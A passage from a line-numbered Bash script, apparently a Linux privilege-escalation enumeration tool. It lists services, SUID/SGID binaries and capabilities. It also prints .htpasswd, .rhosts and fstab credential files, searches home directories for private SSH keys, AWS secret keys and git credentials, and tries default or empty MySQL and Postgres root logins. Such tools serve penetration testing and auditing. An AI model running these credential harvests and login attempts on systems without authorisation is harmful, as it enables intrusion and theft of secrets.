[ "$nsinfo" ]; then 518 | echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfo" 519 | echo -e "\n" 520 | fi 521 | 522 | nsinfosysd=`systemd-resolve --status 2>/dev/null` 523 | if [ "$nsinfosysd" ]; then 524 | echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfosysd" 525 | echo -e "\n" 526 | fi 527 | 528 | #default route configuration 529 | defroute=`route 2>/dev/null | grep default` 530 | if [ "$defroute" ]; then 531 | echo -e "\e[00;31m[-] Default route:\e[00m\n$defroute" 532 | echo -e "\n" 533 | fi 534 | 535 | #default route configuration 536 | defrouteip=`ip r 2>/dev/null | grep default` 537 | if [ ! "$defroute" ] && [ "$defrouteip" ]; then 538 | echo -e "\e[00;31m[-] Default route:\e[00m\n$defrouteip" 539 | echo -e "\n" 540 | fi 541 | 542 | #listening TCP 543 | tcpservs=`netstat -ntpl 2>/dev/null` 544 | if [ "$tcpservs" ]; then 545 | echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservs" 546 | echo -e "\n" 547 | fi 548 | 549 | tcpservsip=`ss -t -l -n 2>/dev/null` 550 | if [ ! "$tcpservs" ] && [ "$tcpservsip" ]; then 551 | echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservsip" 552 | echo -e "\n" 553 | fi 554 | 555 | #listening UDP 556 | udpservs=`netstat -nupl 2>/dev/null` 557 | if [ "$udpservs" ]; then 558 | echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservs" 559 | echo -e "\n" 560 | fi 561 | 562 | udpservsip=`ss -u -l -n 2>/dev/null` 563 | if [ ! "$udpservs" ] && [ "$udpservsip" ]; then 564 | echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservsip" 565 | echo -e "\n" 566 | fi 567 | } 568 | 569 | services_info() 570 | { 571 | echo -e "\e[00;33m### SERVICES #############################################\e[00m" 572 | 573 | #running processes 574 | psaux=`ps aux 2>/dev/null` 575 | if [ "$psaux" ]; then 576 | echo -e "\e[00;31m[-] Running processes:\e[00m\n$psaux" 577 | echo -e "\n" 578 | fi 579 | 580 | #lookup process binary path and permissisons 581 | procperm=`ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null` 582 | if [ "$procperm" ]; then 583 | echo -e "\e[00;31m[-] Process binaries and associated permissions (from above list):\e[00m\n$procperm" 584 | echo -e "\n" 585 | fi 586 | 587 | if [ "$export" ] && [ "$procperm" ]; then 588 | procpermbase=`ps aux 2>/dev/null | awk '{print $11}' | xargs -r ls 2>/dev/null | awk '!x[$0]++' 2>/dev/null` 589 | mkdir $format/ps-export/ 2>/dev/null 590 | for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null 591 | fi 592 | 593 | #anything 'useful' in inetd.conf 594 | inetdread=`cat /etc/inetd.conf 2>/dev/null` 595 | if [ "$inetdread" ]; then 596 | echo -e "\e[00;31m[-] Contents of /etc/inetd.conf:\e[00m\n$inetdread" 597 | echo -e "\n" 598 | fi 599 | 600 | if [ "$export" ] && [ "$inetdread" ]; then 601 | mkdir $format/etc-export/ 2>/dev/null 602 | cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null 603 | fi 604 | 605 | #very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each 606 | inetdbinperms=`awk '{print $7}' /etc/inetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null` 607 | if [ "$inetdbinperms" ]; then 608 | echo -e "\e[00;31m[-] The related inetd binary permissions:\e[00m\n$inetdbinperms" 609 | echo -e "\n" 610 | fi 611 | 612 | xinetdread=`cat /etc/xinetd.conf 2>/dev/null` 613 | if [ "$xinetdread" ]; then 614 | echo -e "\e[00;31m[-] Contents of /etc/xinetd.conf:\e[00m\n$xinetdread" 615 | echo -e "\n" 616 | fi 617 | 618 | if [ "$export" ] && [ "$xinetdread" ]; then 619 | mkdir $format/etc-export/ 2>/dev/null 620 | cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null 621 | fi 622 | 623 | xinetdincd=`grep "/etc/xinetd.d" /etc/xinetd.conf 2>/dev/null` 624 | if [ "$xinetdincd" ]; then 625 | echo -e "\e[00;31m[-] /etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m"; ls -la /etc/xinetd.d 2>/dev/null 626 | echo -e "\n" 627 | fi 628 | 629 | #very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each 630 | xinetdbinperms=`awk '{print $7}' /etc/xinetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null` 631 | if [ "$xinetdbinperms" ]; then 632 | echo -e "\e[00;31m[-] The related xinetd binary permissions:\e[00m\n$xinetdbinperms" 633 | echo -e "\n" 634 | fi 635 | 636 | initdread=`ls -la /etc/init.d 2>/dev/null` 637 | if [ "$initdread" ]; then 638 | echo -e "\e[00;31m[-] /etc/init.d/ binary permissions:\e[00m\n$initdread" 639 | echo -e "\n" 640 | fi 641 | 642 | #init.d files NOT belonging to root! 643 | initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 644 | if [ "$initdperms" ]; then 645 | echo -e "\e[00;31m[-] /etc/init.d/ files not belonging to root:\e[00m\n$initdperms" 646 | echo -e "\n" 647 | fi 648 | 649 | rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` 650 | if [ "$rcdread" ]; then 651 | echo -e "\e[00;31m[-] /etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" 652 | echo -e "\n" 653 | fi 654 | 655 | #init.d files NOT belonging to root! 656 | rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 657 | if [ "$rcdperms" ]; then 658 | echo -e "\e[00;31m[-] /etc/rc.d/init.d files not belonging to root:\e[00m\n$rcdperms" 659 | echo -e "\n" 660 | fi 661 | 662 | usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` 663 | if [ "$usrrcdread" ]; then 664 | echo -e "\e[00;31m[-] /usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" 665 | echo -e "\n" 666 | fi 667 | 668 | #rc.d files NOT belonging to root! 669 | usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 670 | if [ "$usrrcdperms" ]; then 671 | echo -e "\e[00;31m[-] /usr/local/etc/rc.d files not belonging to root:\e[00m\n$usrrcdperms" 672 | echo -e "\n" 673 | fi 674 | 675 | initread=`ls -la /etc/init/ 2>/dev/null` 676 | if [ "$initread" ]; then 677 | echo -e "\e[00;31m[-] /etc/init/ config file permissions:\e[00m\n$initread" 678 | echo -e "\n" 679 | fi 680 | 681 | # upstart scripts not belonging to root 682 | initperms=`find /etc/init \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 683 | if [ "$initperms" ]; then 684 | echo -e "\e[00;31m[-] /etc/init/ config files not belonging to root:\e[00m\n$initperms" 685 | echo -e "\n" 686 | fi 687 | 688 | systemdread=`ls -lthR /lib/systemd/ 2>/dev/null` 689 | if [ "$systemdread" ]; then 690 | echo -e "\e[00;31m[-] /lib/systemd/* config file permissions:\e[00m\n$systemdread" 691 | echo -e "\n" 692 | fi 693 | 694 | # systemd files not belonging to root 695 | systemdperms=`find /lib/systemd/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` 696 | if [ "$systemdperms" ]; then 697 | echo -e "\e[00;33m[+] /lib/systemd/* config files not belonging to root:\e[00m\n$systemdperms" 698 | echo -e "\n" 699 | fi 700 | } 701 | 702 | software_configs() 703 | { 704 | echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" 705 | 706 | #sudo version - check to see if there are any known vulnerabilities with this 707 | sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` 708 | if [ "$sudover" ]; then 709 | echo -e "\e[00;31m[-] Sudo version:\e[00m\n$sudover" 710 | echo -e "\n" 711 | fi 712 | 713 | #mysql details - if installed 714 | mysqlver=`mysql --version 2>/dev/null` 715 | if [ "$mysqlver" ]; then 716 | echo -e "\e[00;31m[-] MYSQL version:\e[00m\n$mysqlver" 717 | echo -e "\n" 718 | fi 719 | 720 | #checks to see if root/root will get us a connection 721 | mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` 722 | if [ "$mysqlconnect" ]; then 723 | echo -e "\e[00;33m[+] We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" 724 | echo -e "\n" 725 | fi 726 | 727 | #mysql version details 728 | mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` 729 | if [ "$mysqlconnectnopass" ]; then 730 | echo -e "\e[00;33m[+] We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" 731 | echo -e "\n" 732 | fi 733 | 734 | #postgres details - if installed 735 | postgver=`psql -V 2>/dev/null` 736 | if [ "$postgver" ]; then 737 | echo -e "\e[00;31m[-] Postgres version:\e[00m\n$postgver" 738 | echo -e "\n" 739 | fi 740 | 741 | #checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this 742 | postcon1=`psql -U postgres -w template0 -c 'select version()' 2>/dev/null | grep version` 743 | if [ "$postcon1" ]; then 744 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" 745 | echo -e "\n" 746 | fi 747 | 748 | postcon11=`psql -U postgres -w template1 -c 'select version()' 2>/dev/null | grep version` 749 | if [ "$postcon11" ]; then 750 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" 751 | echo -e "\n" 752 | fi 753 | 754 | postcon2=`psql -U pgsql -w template0 -c 'select version()' 2>/dev/null | grep version` 755 | if [ "$postcon2" ]; then 756 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" 757 | echo -e "\n" 758 | fi 759 | 760 | postcon22=`psql -U pgsql -w template1 -c 'select version()' 2>/dev/null | grep version` 761 | if [ "$postcon22" ]; then 762 | echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" 763 | echo -e "\n" 764 | fi 765 | 766 | #apache details - if installed 767 | apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` 768 | if [ "$apachever" ]; then 769 | echo -e "\e[00;31m[-] Apache version:\e[00m\n$apachever" 770 | echo -e "\n" 771 | fi 772 | 773 | #what account is apache running under 774 | apacheusr=`grep -i 'user\|group' /etc/apache2/envvars 2>/dev/null |awk '{sub(/.*\export /,"")}1' 2>/dev/null` 775 | if [ "$apacheusr" ]; then 776 | echo -e "\e[00;31m[-] Apache user configuration:\e[00m\n$apacheusr" 777 | echo -e "\n" 778 | fi 779 | 780 | if [ "$export" ] && [ "$apacheusr" ]; then 781 | mkdir --parents $format/etc-export/apache2/ 2>/dev/null 782 | cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null 783 | fi 784 | 785 | #installed apache modules 786 | apachemodules=`apache2ctl -M 2>/dev/null; httpd -M 2>/dev/null` 787 | if [ "$apachemodules" ]; then 788 | echo -e "\e[00;31m[-] Installed Apache modules:\e[00m\n$apachemodules" 789 | echo -e "\n" 790 | fi 791 | 792 | #htpasswd check 793 | htpasswd=`find / -name .htpasswd -print -exec cat {} \; 2>/dev/null` 794 | if [ "$htpasswd" ]; then 795 | echo -e "\e[00;33m[-] htpasswd found - could contain passwords:\e[00m\n$htpasswd" 796 | echo -e "\n" 797 | fi 798 | 799 | #anything in the default http home dirs (a thorough only check as output can be large) 800 | if [ "$thorough" = "1" ]; then 801 | apachehomedirs=`ls -alhR /var/www/ 2>/dev/null; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache2/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null` 802 | if [ "$apachehomedirs" ]; then 803 | echo -e "\e[00;31m[-] www home dir contents:\e[00m\n$apachehomedirs" 804 | echo -e "\n" 805 | fi 806 | fi 807 | 808 | } 809 | 810 | interesting_files() 811 | { 812 | echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" 813 | 814 | #checks to see if various files are installed 815 | echo -e "\e[00;31m[-] Useful file locations:\e[00m" ; which nc 2>/dev/null ; which netcat 2>/dev/null ; which wget 2>/dev/null ; which nmap 2>/dev/null ; which gcc 2>/dev/null; which curl 2>/dev/null 816 | echo -e "\n" 817 | 818 | #limited search for installed compilers 819 | compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` 820 | if [ "$compiler" ]; then 821 | echo -e "\e[00;31m[-] Installed compilers:\e[00m\n$compiler" 822 | echo -e "\n" 823 | fi 824 | 825 | #manual check - lists out sensitive files, can we read/modify etc. 826 | echo -e "\e[00;31m[-] Can we read/write sensitive files:\e[00m" ; ls -la /etc/passwd 2>/dev/null ; ls -la /etc/group 2>/dev/null ; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null ; ls -la /etc/master.passwd 2>/dev/null 827 | echo -e "\n" 828 | 829 | #search for suid files 830 | allsuid=`find / -perm -4000 -type f 2>/dev/null` 831 | findsuid=`find $allsuid -perm -4000 -type f -exec ls -la {} 2>/dev/null \;` 832 | if [ "$findsuid" ]; then 833 | echo -e "\e[00;31m[-] SUID files:\e[00m\n$findsuid" 834 | echo -e "\n" 835 | fi 836 | 837 | if [ "$export" ] && [ "$findsuid" ]; then 838 | mkdir $format/suid-files/ 2>/dev/null 839 | for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null 840 | fi 841 | 842 | #list of 'interesting' suid files - feel free to make additions 843 | intsuid=`find $allsuid -perm -4000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null` 844 | if [ "$intsuid" ]; then 845 | echo -e "\e[00;33m[+] Possibly interesting SUID files:\e[00m\n$intsuid" 846 | echo -e "\n" 847 | fi 848 | 849 | #lists world-writable suid files 850 | wwsuid=`find $allsuid -perm -4002 -type f -exec ls -la {} 2>/dev/null \;` 851 | if [ "$wwsuid" ]; then 852 | echo -e "\e[00;33m[+] World-writable SUID files:\e[00m\n$wwsuid" 853 | echo -e "\n" 854 | fi 855 | 856 | #lists world-writable suid files owned by root 857 | wwsuidrt=`find $allsuid -uid 0 -perm -4002 -type f -exec ls -la {} 2>/dev/null \;` 858 | if [ "$wwsuidrt" ]; then 859 | echo -e "\e[00;33m[+] World-writable SUID files owned by root:\e[00m\n$wwsuidrt" 860 | echo -e "\n" 861 | fi 862 | 863 | #search for sgid files 864 | allsgid=`find / -perm -2000 -type f 2>/dev/null` 865 | findsgid=`find $allsgid -perm -2000 -type f -exec ls -la {} 2>/dev/null \;` 866 | if [ "$findsgid" ]; then 867 | echo -e "\e[00;31m[-] SGID files:\e[00m\n$findsgid" 868 | echo -e "\n" 869 | fi 870 | 871 | if [ "$export" ] && [ "$findsgid" ]; then 872 | mkdir $format/sgid-files/ 2>/dev/null 873 | for i in $findsgid; do cp $i $format/sgid-files/; done 2>/dev/null 874 | fi 875 | 876 | #list of 'interesting' sgid files 877 | intsgid=`find $allsgid -perm -2000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null` 878 | if [ "$intsgid" ]; then 879 | echo -e "\e[00;33m[+] Possibly interesting SGID files:\e[00m\n$intsgid" 880 | echo -e "\n" 881 | fi 882 | 883 | #lists world-writable sgid files 884 | wwsgid=`find $allsgid -perm -2002 -type f -exec ls -la {} 2>/dev/null \;` 885 | if [ "$wwsgid" ]; then 886 | echo -e "\e[00;33m[+] World-writable SGID files:\e[00m\n$wwsgid" 887 | echo -e "\n" 888 | fi 889 | 890 | #lists world-writable sgid files owned by root 891 | wwsgidrt=`find $allsgid -uid 0 -perm -2002 -type f -exec ls -la {} 2>/dev/null \;` 892 | if [ "$wwsgidrt" ]; then 893 | echo -e "\e[00;33m[+] World-writable SGID files owned by root:\e[00m\n$wwsgidrt" 894 | echo -e "\n" 895 | fi 896 | 897 | #list all files with POSIX capabilities set along with there capabilities 898 | fileswithcaps=`getcap -r / 2>/dev/null || /sbin/getcap -r / 2>/dev/null` 899 | if [ "$fileswithcaps" ]; then 900 | echo -e "\e[00;31m[+] Files with POSIX capabilities set:\e[00m\n$fileswithcaps" 901 | echo -e "\n" 902 | fi 903 | 904 | if [ "$export" ] && [ "$fileswithcaps" ]; then 905 | mkdir $format/files_with_capabilities/ 2>/dev/null 906 | for i in $fileswithcaps; do cp $i $format/files_with_capabilities/; done 2>/dev/null 907 | fi 908 | 909 | #searches /etc/security/capability.conf for users associated capapilies 910 | userswithcaps=`grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null` 911 | if [ "$userswithcaps" ]; then 912 | echo -e "\e[00;33m[+] Users with specific POSIX capabilities:\e[00m\n$userswithcaps" 913 | echo -e "\n" 914 | fi 915 | 916 | if [ "$userswithcaps" ] ; then 917 | #matches the capabilities found associated with users with the current user 918 | matchedcaps=`echo -e "$userswithcaps" | grep \`whoami\` | awk '{print $1}' 2>/dev/null` 919 | if [ "$matchedcaps" ]; then 920 | echo -e "\e[00;33m[+] Capabilities associated with the current user:\e[00m\n$matchedcaps" 921 | echo -e "\n" 922 | #matches the files with capapbilities with capabilities associated with the current user 923 | matchedfiles=`echo -e "$matchedcaps" | while read -r cap ; do echo -e "$fileswithcaps" | grep "$cap" ; done 2>/dev/null` 924 | if [ "$matchedfiles" ]; then 925 | echo -e "\e[00;33m[+] Files with the same capabilities associated with the current user (You may want to try abusing those capabilties):\e[00m\n$matchedfiles" 926 | echo -e "\n" 927 | #lists the permissions of the files having the same capabilies associated with the current user 928 | matchedfilesperms=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do ls -la $f ;done 2>/dev/null` 929 | echo -e "\e[00;33m[+] Permissions of files with the same capabilities associated with the current user:\e[00m\n$matchedfilesperms" 930 | echo -e "\n" 931 | if [ "$matchedfilesperms" ]; then 932 | #checks if any of the files with same capabilities associated with the current user is writable 933 | writablematchedfiles=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do find $f -writable -exec ls -la {} + ;done 2>/dev/null` 934 | if [ "$writablematchedfiles" ]; then 935 | echo -e "\e[00;33m[+] User/Group writable files with the same capabilities associated with the current user:\e[00m\n$writablematchedfiles" 936 | echo -e "\n" 937 | fi 938 | fi 939 | fi 940 | fi 941 | fi 942 | 943 | #look for private keys - thanks djhohnstein 944 | if [ "$thorough" = "1" ]; then 945 | privatekeyfiles=`grep -rl "PRIVATE KEY-----" /home 2>/dev/null` 946 | if [ "$privatekeyfiles" ]; then 947 | echo -e "\e[00;33m[+] Private SSH keys found!:\e[00m\n$privatekeyfiles" 948 | echo -e "\n" 949 | fi 950 | fi 951 | 952 | #look for AWS keys - thanks djhohnstein 953 | if [ "$thorough" = "1" ]; then 954 | awskeyfiles=`grep -rli "aws_secret_access_key" /home 2>/dev/null` 955 | if [ "$awskeyfiles" ]; then 956 | echo -e "\e[00;33m[+] AWS secret keys found!:\e[00m\n$awskeyfiles" 957 | echo -e "\n" 958 | fi 959 | fi 960 | 961 | #look for git credential files - thanks djhohnstein 962 | if [ "$thorough" = "1" ]; then 963 | gitcredfiles=`find / -name ".git-credentials" 2>/dev/null` 964 | if [ "$gitcredfiles" ]; then 965 | echo -e "\e[00;33m[+] Git credentials saved on the machine!:\e[00m\n$gitcredfiles" 966 | echo -e "\n" 967 | fi 968 | fi 969 | 970 | #list all world-writable files excluding /proc and /sys 971 | if [ "$thorough" = "1" ]; then 972 | wwfiles=`find / ! -path "*/proc/*" ! -path "/sys/*" -perm -2 -type f -exec ls -la {} 2>/dev/null \;` 973 | if [ "$wwfiles" ]; then 974 | echo -e "\e[00;31m[-] World-writable files (excluding /proc and /sys):\e[00m\n$wwfiles" 975 | echo -e "\n" 976 | fi 977 | fi 978 | 979 | if [ "$thorough" = "1" ]; then 980 | if [ "$export" ] && [ "$wwfiles" ]; then 981 | mkdir $format/ww-files/ 2>/dev/null 982 | for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null 983 | fi 984 | fi 985 | 986 | #are any .plan files accessible in /home (could contain useful information) 987 | usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` 988 | if [ "$usrplan" ]; then 989 | echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$usrplan" 990 | echo -e "\n" 991 | fi 992 | 993 | if [ "$export" ] && [ "$usrplan" ]; then 994 | mkdir $format/plan_files/ 2>/dev/null 995 | for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null 996 | fi 997 | 998 | bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` 999 | if [ "$bsdusrplan" ]; then 1000 | echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$bsdusrplan" 1001 | echo -e "\n" 1002 | fi 1003 | 1004 | if [ "$export" ] && [ "$bsdusrplan" ]; then 1005 | mkdir $format/plan_files/ 2>/dev/null 1006 | for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null 1007 | fi 1008 | 1009 | #are there any .rhosts files accessible - these may allow us to login as another user etc. 1010 | rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` 1011 | if [ "$rhostsusr" ]; then 1012 | echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$rhostsusr" 1013 | echo -e "\n" 1014 | fi 1015 | 1016 | if [ "$export" ] && [ "$rhostsusr" ]; then 1017 | mkdir $format/rhosts/ 2>/dev/null 1018 | for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null 1019 | fi 1020 | 1021 | bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` 1022 | if [ "$bsdrhostsusr" ]; then 1023 | echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" 1024 | echo -e "\n" 1025 | fi 1026 | 1027 | if [ "$export" ] && [ "$bsdrhostsusr" ]; then 1028 | mkdir $format/rhosts 2>/dev/null 1029 | for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null 1030 | fi 1031 | 1032 | rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` 1033 | if [ "$rhostssys" ]; then 1034 | echo -e "\e[00;33m[+] Hosts.equiv file and contents: \e[00m\n$rhostssys" 1035 | echo -e "\n" 1036 | fi 1037 | 1038 | if [ "$export" ] && [ "$rhostssys" ]; then 1039 | mkdir $format/rhosts/ 2>/dev/null 1040 | for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null 1041 | fi 1042 | 1043 | #list nfs shares/permisisons etc. 1044 | nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` 1045 | if [ "$nfsexports" ]; then 1046 | echo -e "\e[00;31m[-] NFS config details: \e[00m\n$nfsexports" 1047 | echo -e "\n" 1048 | fi 1049 | 1050 | if [ "$export" ] && [ "$nfsexports" ]; then 1051 | mkdir $format/etc-export/ 2>/dev/null 1052 | cp /etc/exports $format/etc-export/exports 2>/dev/null 1053 | fi 1054 | 1055 | if [ "$thorough" = "1" ]; then 1056 | #phackt 1057 | #displaying /etc/fstab 1058 | fstab=`cat /etc/fstab 2>/dev/null` 1059 | if [ "$fstab" ]; then 1060 | echo -e "\e[00;31m[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems\e[00m" 1061 | echo -e "$fstab" 1062 | echo -e "\n" 1063 | fi 1064 | fi 1065 | 1066 | #looking for credentials in /etc/fstab 1067 | fstab=`grep username /etc/fstab 2>/dev/null |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo username: 2>/dev/null; grep password /etc/fstab 2>/dev/null |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo password: 2>/dev/null; grep domain /etc/fstab 2>/dev/null |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo domain: 2>/dev/null` 1068 | if [ "$fstab" ]; then 1069 | echo -e "\e[00;33m[+] Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" 1070 | echo -e "\n" 1071 | fi 1072 | 1073 | if [ "$export" ] && [ "$fstab" ]; then 1074 | mkdir $format/etc-exports/ 2>/dev/null 1075 | cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null 1076 | fi 1077 | 1078 | fstabcred=`grep cred /etc/fstab 2>/dev/null |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1' 2>/dev/null | xargs -I{} sh -c 'ls -la {}; cat {}' 2>/dev/null` 1079 | if [ "$fstabcred" ]; then 1080 | echo -e "\e[00;33m[+] /etc/fstab contains a credentials file!\e[00m\n$fstabcred" 1081 | echo -e "\n" 1082 | fi 1083 | 1084 | if [ "$export" ] && [ "$fstabcred" ]; then 1085 | mkdir $format/etc-exports/ 2>/dev/null 1086 | cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null 1087 | fi 1088 | 1089 | #use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located 1090 | if [ "$keyword" = "" ]; then 1091 | echo -e "[-] Can't search *.conf files as no keyword was entered\n" 1092 | else 1093 | confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1094 | if [ "$confkey" ]; then 1095 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" 1096 | echo -e "\n" 1097 | else 1098 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" 1099 | echo -e "'$keyword' not found in any .conf files" 1100 | echo -e "\n" 1101 | fi 1102 | fi 1103 | 1104 | if [ "$keyword" = "" ]; then 1105 | : 1106 | else 1107 | if [ "$export" ] && [ "$confkey" ]; then 1108 | confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1109 | mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null 1110 | for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null 1111 | fi 1112 | fi 1113 | 1114 | #use supplied keyword and cat *.php files for potential matches - output will show line number within relevant file path where a match has been located 1115 | if [ "$keyword" = "" ]; then 1116 | echo -e "[-] Can't search *.php files as no keyword was entered\n" 1117 | else 1118 | phpkey=`find / -maxdepth 10 -name *.php -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1119 | if [ "$phpkey" ]; then 1120 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels - output format filepath:identified line number where keyword appears):\e[00m\n$phpkey" 1121 | echo -e "\n" 1122 | else 1123 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels):\e[00m" 1124 | echo -e "'$keyword' not found in any .php files" 1125 | echo -e "\n" 1126 | fi 1127 | fi 1128 | 1129 | if [ "$keyword" = "" ]; then 1130 | : 1131 | else 1132 | if [ "$export" ] && [ "$phpkey" ]; then 1133 | phpkeyfile=`find / -maxdepth 10 -name *.php -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1134 | mkdir --parents $format/keyword_file_matches/php_files/ 2>/dev/null 1135 | for i in $phpkeyfile; do cp --parents $i $format/keyword_file_matches/php_files/ ; done 2>/dev/null 1136 | fi 1137 | fi 1138 | 1139 | #use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located 1140 | if [ "$keyword" = "" ];then 1141 | echo -e "[-] Can't search *.log files as no keyword was entered\n" 1142 | else 1143 | logkey=`find / -maxdepth 4 -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1144 | if [ "$logkey" ]; then 1145 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$logkey" 1146 | echo -e "\n" 1147 | else 1148 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels):\e[00m" 1149 | echo -e "'$keyword' not found in any .log files" 1150 | echo -e "\n" 1151 | fi 1152 | fi 1153 | 1154 | if [ "$keyword" = "" ];then 1155 | : 1156 | else 1157 | if [ "$export" ] && [ "$logkey" ]; then 1158 | logkeyfile=`find / -maxdepth 4 -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` 1159 | mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null 1160 | for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null 1161 | fi 1162 | fi 1163 | 1164 | #use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located 1165 | if [ "$keyword" = "" ];then 1166 | echo -e "[-] Can't search *.ini files as no keyword was entered\n" 1167 | else 1168 | inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` 1169 | if [ "$inikey" ]; then 1170 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" 1171 | echo -e "\n" 1172 | else 1173 | echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels):\e[00m" 1174 | echo -e 